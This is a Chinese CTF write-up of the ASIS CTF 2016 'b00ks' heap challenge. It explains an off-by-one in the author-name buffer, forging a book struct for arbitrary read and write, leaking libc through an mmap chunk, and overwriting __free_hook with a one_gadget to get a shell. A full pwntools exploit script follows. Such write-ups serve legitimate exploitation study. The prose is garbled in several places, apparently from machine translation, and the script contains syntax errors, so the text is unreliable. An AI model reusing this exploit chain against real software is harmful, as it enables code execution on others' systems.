例题 Asis CTF 2016 b00ks
`
题目链接
1. 安全策略
[*] '/root/ctf/Other/pwn/heap/b00ks' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
开启了full RELRO,所以不能直接进行GOT表劫持PIE,静态分析地址不能直接使用。
2. 静态分析
程序的功能是对图书的添加、删除和修改。
1. Create a book 2. Delete a book 3. Edit a book 4. Print book detail 5. Change current author name 6. Exit
一本书有三个对象chunk组成:name-chunk,description-chunk和detail-chunk。其中name-chunk和description-chunk大小和内容由用户决定;detail-chunk结构如下所示
| prev_size | | size: 0x20 | | bookID | | name-chunk ptr | | desc-chunk ptr | | desc size |
函数在程序中逐字节写入0x1009f5
存在off-by-one假设要写的内存大小为0x用这个函数写0x21字节覆盖\x00
。分析可以发现,写入author name、book name、book content引用此函数导致溢出。
Author name储存在0x302040
在32字节的开始内存中,0x302060年开始存储的内存空间是现有的book的detail chunk指针。这里有两种使用方法
- 在没有book先用字符填满author name然后增加一个新的空间book,此时打印book detail如果打印添加,则添加book detial chunk的指针。
- 在已有book当时,填充32个字节author name,会将
0x302060
字节置为\x00
,这使得我们能够控制第一个book的deteail chunk指针。
假设我们可以控制第一个book的detial chunk 指针指向伪造book detail chunk,那么当编辑book-1的内容将被写入伪造的地址,以实现任何地址
这个问题的巧妙之处在于分配第二个问题 book 时,使用一个很大的尺寸,使得堆以 mmap 扩展模式。我们知道有两种扩展方式。 brk 原来的堆会直接扩展,另一种是 mmap 会单独映射一块内存。
我们在这里申请一个超大块使用 mmap 扩展内存 mmap 分配的内存和 libc 之前有固定偏移,可以计算出来 libc 的基地址。
__free_hook
因为这个话题开启了full RELRO,因此不能使用GOT获得劫持的方式shell,这里采用__free_hook的方式
3. 动态分析
程序运行后,将建立一个size为0x1010的chunk,所以分配给每一个book的chunk会从0x1010位置开始。此时若利用author name的off-by-one漏洞将指针指向无法控制的0x1000位置。所以我们要让第一个book的detail chunk位于0x当我们使用超过1100个空间时,off-by-one零时最低位置,第一个book的detail chunk将指向0x1100. 在这里,我们创造这样一个book
create(0x60, b'a', 0x90, b'a')
这样book-1的chunk如下所示
pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x5646ddac1000 Size: 0x1011 Allocated chunk | PREV_INUSE => name chunk Addr: 0x5646ddac2010 Size: 0x71 Allocated chunk | PREV_INUSE => desc chunk Addr: 0x5646ddac2080 Size: 0xa1 Allocated chunk | PREV_INUSE => detail chunk Addr: 0x5646ddac2120 Size: 0x31
此时如果在0x1100位置写入一个位置fake book,就可以向fake book的desc chunk ptr写任何内容。从而实现任何地址的写作。
下一步是获得libc通过在这里分配一个大的基址book使得glibc将该book的chunk将地址放入系统部分,通过计算相对偏移进一步获得libc的基址
获得libc基址后的操作比较常规,向__free_hook地址写入one_gadget获取shell
4. exp
```python from pwn import * #context.log_level = 'debug' CONN = process('./b00ks') #gdb.attach(CONN, 'b malloc') libc = ELF('/root/Tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so') def choice(num): CONN.sendlineafter(b'> ', str(num).encode()) def create(name_size, name, desc_size, desc): choice(1) CONN.sendlineafter(b'Enter book name size: ', str(name_size).encode()) CONN.sendlineafter(b'(Max 32 chars): ', name) CONN.sendlineafter(b'description size: ', str(desc_size).encode()) CONN.sendlineafter(b'description: ', desc ) def edit(bookID, desc): choice(3) CONN.sendlineafter(b'want to edit: ', str(bookID).encode()) CONN.sendlineafter(b'description: ', desc) def delete(bookID): choice(2) CONN.sendlineafter(b'want to delete: ', str(bookID).encode()) def changeName(name): choice(5) CONN.sendlineafter(b': ', name) def printbook(bookID): choice(4) for i in range(bookID): CONN.recvuntil(b'ID: ') ID = int(CONN.recvline()[-1] CONN.recvuntil(b': ') name = CONN.recvline()[:-1] CONN.recvuntil(b': ') desc = CONN.recvline()[:-1] CONN.recvuntil(b': ') author = CONN.recvline()[:-1] return ID, name, desc, author def exp(): # step-1 # use off-by-one vulnebility leak book list ptr CONN.sendlineafter(b'Enter author name: ', b'a' * 0x20) create(0x60, b'a', 0x90, b'a') # casue book2 has large chunks, create(0x21000, b'a', 0x21000, b'a') ID,name,desc,author = printbook(1) book_ptr = u64(author[32:].ljust(0x8, b'\x00')) log.success(f'book_ptr: {hex(book_ptr)}') # step-2 payload = b'a' * 0x70 forged_book = p64() # fake book id
forged_book += p64(book_ptr + 0x38) # [fake book name addr] = book2.name_addr
forged_book += p64(book_ptr + 0x40) # [fake book desc addr] = book2.desc_addr
forged_book += p64(0xffff) # fake book size
payload += forged_book
edit(1, payload)
# use off-by-one make the fisrt book ptr point to forged book struct.
changeName(b'a' * 0x20)
# step-3
# then when we print book 1, it actually print the addr of book2's name chunk
# ptr and book2's desc chunk ptr.
ID,name,desc,author = printbook(1)
name_addr = u64(name.ljust(0x8, b'\x00'))
desc_addr = u64(desc.ljust(0x8, b'\x00'))
log.success(f'name_addr: {hex(name_addr)}')
log.success(f'desc_addr: {hex(desc_addr)}')
# mmap chunk has fixed offset to libc base addr
# 0x5a5010 = desc_addr - libc_base(get from gdb)
libc_base = desc_addr - 0x5a5010
log.success(f'libc_base: {hex(libc_base)}')
# step-4
# casue FULL RELRO, cannot hijack GOT table,thus we use __free_hook
free_hook = libc_base + libc.symbols['__free_hook']
# got 0x45206 0x4525a 0xef9f4 0xf0897 by one_gadget
one_gadget = libc_base + 0x4525a
log.success(f'free_hook: {hex(free_hook)}')
log.success(f'one_gadget: {hex(one_gadget)}')
# when we edit book1, we actually change book2's desc chunk ptr
edit(1, p64(free_hook))
# write one_gadget to free_hook
edit(2, p64(one_gadget))
delete(2)
CONN.interactive()
if __name__ == "__main__":
exp()
```